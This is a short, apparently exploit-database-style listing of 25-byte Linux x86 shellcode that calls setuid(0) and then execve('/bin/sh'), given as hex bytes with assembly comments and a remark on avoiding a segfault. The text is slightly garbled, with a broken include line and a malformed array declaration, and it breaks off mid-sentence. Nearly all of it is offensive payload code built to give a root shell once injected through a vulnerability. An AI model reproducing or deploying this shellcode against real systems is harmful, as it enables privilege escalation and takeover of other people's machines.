Linux/x86 - setuid(0) + execve(/bin/sh,0) Shellcode (25 bytes)

include const char shellcode= "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x0b" // mov $0xb,%al So you'll get segfault if it's not able to do the setuid0. If you don't want this you can write "\x6a\x0b\x58" instead of "\xb0\x0b", but the...